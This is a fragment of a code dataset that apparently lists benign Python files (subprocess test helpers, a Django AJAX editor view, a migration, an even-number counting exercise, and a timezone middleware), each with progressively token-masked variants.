timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\n<function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n" ]
false
9,916
87a4fcb26464925952dde57fecf4709f01e9fed7
from django.contrib.auth.mixins import LoginRequiredMixin from django.http import JsonResponse from django.views.generic import CreateView, UpdateView, ListView, \ DeleteView, TemplateView from example.forms import EditorTextForm from example.models import EdidorText class AjaxableResponseMixin: """ Mixin to add AJAX support to a form. Must be used with an object-based FormView (e.g. CreateView) """ def form_invalid(self, form): response = super().form_invalid(form) if self.request.is_ajax(): return JsonResponse(form.errors, status=400) else: return response def form_valid(self, form): # We make sure to call the parent's form_valid() method because # it might do some processing (in the case of CreateView, it will # call form.save() for example). response = super().form_valid(form) if self.request.is_ajax(): data = { 'pk': self.object.pk, } return JsonResponse(data) else: return response class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView): form_class = EditorTextForm model = EditorText def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['recent_texts'] = EditorText.objects.filter( created_by=self.request.user )[:5] return context def get_object(self): pk = self.request.POST.get('pk') if not pk: return None return EdidorText.objects.get(pk=int(pk)) def form_valid(self, form): form.instance.created_by = self.request.user return super().form_valid(form) def get_form_kwargs(self): """Return the keyword arguments for instantiating the form.""" self.object = self.get_object() kwargs = super().get_form_kwargs() return kwargs
[ "from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse\nfrom django.views.generic import CreateView, UpdateView, ListView, \\\n DeleteView, TemplateView\n\nfrom example.forms import EditorTextForm\nfrom example.models import EdidorText\n\n\nclass AjaxableResponseMixin:\n \"\"\"\n Mixin to add AJAX support to a form.\n\n Must be used with an object-based FormView (e.g. CreateView)\n \"\"\"\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n # We make sure to call the parent's form_valid() method because\n # it might do some processing (in the case of CreateView, it will\n # call form.save() for example).\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {\n 'pk': self.object.pk,\n }\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(\n created_by=self.request.user\n )[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse\nfrom django.views.generic import CreateView, UpdateView, ListView, DeleteView, TemplateView\nfrom example.forms import EditorTextForm\nfrom example.models import EdidorText\n\n\nclass AjaxableResponseMixin:\n \"\"\"\n Mixin to add AJAX support to a form.\n\n Must be used with an object-based FormView (e.g. CreateView)\n \"\"\"\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {'pk': self.object.pk}\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "<import token>\n\n\nclass AjaxableResponseMixin:\n \"\"\"\n Mixin to add AJAX support to a form.\n\n Must be used with an object-based FormView (e.g. CreateView)\n \"\"\"\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {'pk': self.object.pk}\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "<import token>\n\n\nclass AjaxableResponseMixin:\n <docstring token>\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {'pk': self.object.pk}\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "<import token>\n\n\nclass AjaxableResponseMixin:\n <docstring token>\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n <function token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "<import token>\n\n\nclass AjaxableResponseMixin:\n <docstring token>\n <function token>\n <function token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n", "<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n <function token>\n", "<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n <function token>\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n <function token>\n", "<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n <function token>\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n <function token>\n <function token>\n", "<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n<class token>\n" ]
false
9,917
9555ed63b3906ec23c31839691a089aad9d96c63
# Generated by Django 2.1.7 on 2019-03-14 07:27 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('training_area', '0002_event'), ] operations = [ migrations.AddField( model_name='event', name='athlete', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='athlete_calendar', to='training_area.Athlete'), ), migrations.AddField( model_name='event', name='coach', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='coach_calendar', to='training_area.Coach'), ), ]
[ "# Generated by Django 2.1.7 on 2019-03-14 07:27\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('training_area', '0002_event'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='athlete',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='athlete_calendar', to='training_area.Athlete'),\n ),\n migrations.AddField(\n model_name='event',\n name='coach',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='coach_calendar', to='training_area.Coach'),\n ),\n ]\n", "from django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n dependencies = [('training_area', '0002_event')]\n operations = [migrations.AddField(model_name='event', name='athlete',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.\n models.deletion.CASCADE, related_name='athlete_calendar', to=\n 'training_area.Athlete')), migrations.AddField(model_name='event',\n name='coach', field=models.ForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'coach_calendar', to='training_area.Coach'))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('training_area', '0002_event')]\n operations = [migrations.AddField(model_name='event', name='athlete',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.\n models.deletion.CASCADE, related_name='athlete_calendar', to=\n 'training_area.Athlete')), migrations.AddField(model_name='event',\n name='coach', field=models.ForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'coach_calendar', to='training_area.Coach'))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
9,918
2eddd446dc59695b185be368b359bae78a868b90
##Problem 10 «The number of even elements of the sequence» (Medium) ##Statement ##Determine the number of even elements in the sequence ending with the number 0. a = True i = 0 while a is True:      x = int(input())      if x != 0:         if x%2 == 0:          i = i+1      else:         a =False print(i)
[ "\n##Problem 10 «The number of even elements of the sequence» (Medium)\n##Statement\n##Determine the number of even elements in the sequence ending with the number 0. \n\n\na = True\ni = 0\nwhile a is True:\n     x = int(input())\n     if x != 0:\n        if x%2 == 0:\n         i = i+1\n     else:\n        a =False\nprint(i)\n" ]
true
9,919
839d4182663983a03975465d3909631bd6db1d83
import pytz from django.utils import timezone class TimezoneMiddleware(object): """ Middleware to get user's timezone and activate timezone if user timezone is not available default value 'UTC' is activated """ def process_request(self, request): user = request.user if hasattr(user, 'profile'): user_tz = user.profile.timezone timezone.activate(pytz.timezone(user_tz)) else: timezone.activate(pytz.timezone('UTC'))
[ "import pytz\n\nfrom django.utils import timezone\n\n\nclass TimezoneMiddleware(object):\n \"\"\" Middleware to get user's timezone and activate timezone \n if user timezone is not available default value 'UTC' is activated \"\"\"\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n", "import pytz\nfrom django.utils import timezone\n\n\nclass TimezoneMiddleware(object):\n \"\"\" Middleware to get user's timezone and activate timezone \n if user timezone is not available default value 'UTC' is activated \"\"\"\n\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n", "<import token>\n\n\nclass TimezoneMiddleware(object):\n \"\"\" Middleware to get user's timezone and activate timezone \n if user timezone is not available default value 'UTC' is activated \"\"\"\n\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n", "<import token>\n\n\nclass TimezoneMiddleware(object):\n <docstring token>\n\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n", "<import token>\n\n\nclass TimezoneMiddleware(object):\n <docstring token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,920
f6b2169a4644f4f39bbdebd9bb9c7cc637b54f8b
